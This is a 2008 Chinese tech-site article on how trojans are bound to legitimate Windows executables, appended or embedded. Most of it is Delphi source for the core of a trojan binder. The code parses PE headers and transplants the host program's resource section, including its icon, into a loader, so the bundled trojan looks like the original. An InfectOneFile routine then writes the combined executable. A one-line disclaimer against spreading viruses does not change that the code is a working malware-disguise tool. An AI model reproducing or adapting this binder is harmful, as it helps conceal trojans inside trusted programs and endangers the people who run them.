首页 运维 网络学院 查看内容

文件捆绑感染方式解密

2008-12-22 10:59 762 0

摘要:   最近在研究病毒木马程序的感染和捆绑方式。  发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式  第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序...
关键词: 程序 ResourceDirector begin LoadStream pSectionHeader NTHeader dRead 目标 end nil

  最近在研究病毒木马程序的感染和捆绑方式。  发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式  第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马  然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法  这种方式有缺点也有优点  优点是:  可以捆绑任何程序  缺点是:  运行时需要把目标程序给拷贝出来然后 然后再运行真正的程序 这种方法容易使人察觉出来被捆绑,并且如果目标程序大的话运行速度会比较慢  实现方法:(Demo下载)  如果不改变图标,实现方法是非常简单的。  用文件流的方式 把目标程序写在木马程序后面  这里提供修改图标的实现方法,就是替换目标程序里的所有资源,如果资源文件被压缩,捆绑将出错  (目前网络上有很多获取图标的方法,比如用ExtractIcon获取目标程序中的图标 这种方法读取出来的图标  和原程序的图标是有差别的。 就是颜色会浅一点, 让人一看就知道程序可能被捆绑过了)  请勿用于病毒传播,这里只贴出核心代码  【全文】  function Align(Size, AlignBase: integer): Integer;  begin  if Size mod AlignBase <> 0 then  Result := (Trunc(Size / AlignBase) + 1) * AlignBase  else  Result := Size;  end;  procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);  var  I:integer;  DosHeader: TImageDosHeader;  NTHeader: TImageNtHeaders; {NtHeader}  dRead: DWORD;  begin  SetFilePointer(AFHandle, 0, nil, FILE_BEGIN);  ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);  //非PE 退出  if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;  SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);  ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);  //非PE 退出  if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;  SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);  for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 do  begin  ReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);  if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress then  begin  SetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);  SetLength(AStream, ASectionHeader.SizeOfRawData);  ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);  Exit;  end;  end;  end;  function StripHighBit(L: Longint): DWORD;  begin  Result := L and $7FFFFFFF;  end;  function HighBitSet(L: Longint): Boolean;  begin  Result := (L and $80000000) <> 0;  end;  function IsDirectory(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;  begin  Result := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +  BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);  end;  function ResourceDataEntry(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD)ImageResourceDataEntry;  begin  Result := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +  BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);  end;  function FixRsrc(ResourceDirectoryImageResourceDirectory; BaseEntry,OldVA, NewVA: DWORD):boolean;  var  I: Integer;  ResourceDirectoryEntryImageResourceDirectoryEntry;  Data: PImageResourceDataEntry;  begin  Result := True;  ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)  + SizeOf(TImageResourceDirectory));  for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 do  begin  if IsDirectory(ResourceDirectoryEntry, BaseEntry) then  begin  {目录递归调用,把下级的资源列出来}  FixRsrc(PImageResourceDirectory(StripHighBit(  ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),  BaseEntry, OldVA, NewVA);  end  else  begin  {资源}  Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);  //修正RVA  Data^.OffsetToData := Data^.OffsetToData - OldVA + NewVA;  end;  inc(ResourceDirectoryEntry);  end;  end;  function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;  var  F,F1,F2: THandle;  dRead: DWORD;  fsDes, fsSrc, len, i, lastPos, oldSize: integer;  pRsrc,LoadStream: PStream;  DosHeader: PImageDosHeader;  NTHeader: PImageNtHeaders; {NtHeader}  pSH,pSectionHeader: PImageSectionHeader;  SectionHeader: TImageSectionHeader;  Section: PSections;  fectStream : TResourceStream;  begin  Result := ’’;  pRsrc := nil;  //打开需要感染的目标文件  F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);  try  if F = INVALID_HANDLE_VALUE then  begin  Result := ’打开目标文件失败!’;  Exit;  end;  //获取目标程序的资源文件  GetRsrcStream(F, pRsrc, SectionHeader);  //如果没有资源文件则退出  if pRsrc = nil then  begin  Result := ’读取目标文件资源失败!’;  Exit;  end;  //读取附加程序流  fectStream := TResourceStream.Create(HInstance,’exe’,’exetype’);  try  fsSrc := fectStream.Size;  SetLength(LoadStream, fectStream.Size);  fectStream.ReadBuffer(LoadStream[0], fectStream.Size);  finally  fectStream.Free;  end;  DosHeader := PImageDosHeader(LoadStream);  NTHeader := PImageNTHeaders(@LoadStream[DosHEader^._lfanew]);  pSectionHeader := PImageSectionHeader(NTHeader); //指向NtHeader  Inc(PImageNtHeaders(pSectionHeader)); //指针向前移Sizeof(TImageNtheaders),这时指向节表第一项  for I := 0 to NTHeader^.FileHeader.NumberOfSections - 1 do  begin  //比较是否是指定的节名,如“.rsrc”  if Strlicomp(@pSectionHeader^.Name, PChar(’.rsrc’), IMAGE_SIZEOF_SHORT_NAME) = 0 then  begin  oldSize := pSectionHeader^.SizeOfRawData;  //修正资源大小  pSectionHeader^.SizeOfRawData := SectionHeader.SizeOfRawData;  pSectionHeader^.Misc := SectionHeader.Misc;  break; //找到了,则退出  end;  Inc(pSectionHeader); //取节表下一项,即当前地址加上Sizeof(TImageSectionHeader)  end;  //修复资源  if not FixRsrc(PImageResourceDirectory(pRsrc), DWORD(pRsrc),  SectionHeader.VirtualAddress,  pSectionHeader^.VirtualAddress) then Exit;  NTHeader^.OptionalHeader.DataDirectory[2].Size := SectionHeader.Misc.VirtualSize;  NTHeader^.OptionalHeader.SizeOfImage :=  + Align(pSectionHeader^.Misc.VirtualSize + pSectionHeader^.VirtualAddress, NTHeader^.OptionalHeader.SectionAlignment);  F1 := CreateFile(PChar(ANewFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);  try  if F1 = INVALID_HANDLE_VALUE then  begin  Result := ’创建新文件失败!’;  Exit;  end;  F2 := CreateFile(PChar(ASrcFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);  try  if F2 = INVALID_HANDLE_VALUE then  begin  Result := ’读取目标文件失败!’;  Exit;  end;  fsDes := GetFileSize(F, nil);  Section := PSections(@LoadStream[$70]);  Section^.GUID := $58585858;  Section^.FirstOffset := fsSrc + (SectionHeader.SizeOfRawData - oldSize);  fsSrc := GetFileSize(F2, nil);  Section^.FirstSize := fsSrc;  Section^.LastOffset := Section^.FirstOffset + fsSrc;  Section^.LastSize := fsDes;  //写入头部文件  WriteFile(F1, LoadStream[0], pSectionHeader^.PointerToRawData, dRead, nil);  WriteFile(F1, pRsrc[0], Length(pRsrc), dRead, nil);  repeat  ReadFile(F2, LoadStream[0], Length(LoadStream),dRead, nil);  WriteFile(F1, LoadStream[0], dRead, dRead, nil);  until dRead = 0;  SetFilePointer(F, 0, nil, FILE_BEGIN);  repeat  ReadFile(F, LoadStream[0], Length(LoadStream),dRead, nil);  WriteFile(F1, LoadStream[0], dRead, dRead, nil);  until dRead = 0;  finally  CloseHandle(F2);  end;  finally  CloseHandle(F1);  end;  finally  CloseHandle(F);  SetLength(LoadStream, 0);  SetLength(pRsrc, 0);  end;  end;  第二程度方式 就是将代码内嵌到目标程序。  也同样有缺点优点  优点是  首先运行的是目标程序。然后再运行木马程序,让人根本无法察觉  缺点是  只能感染部分程序
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部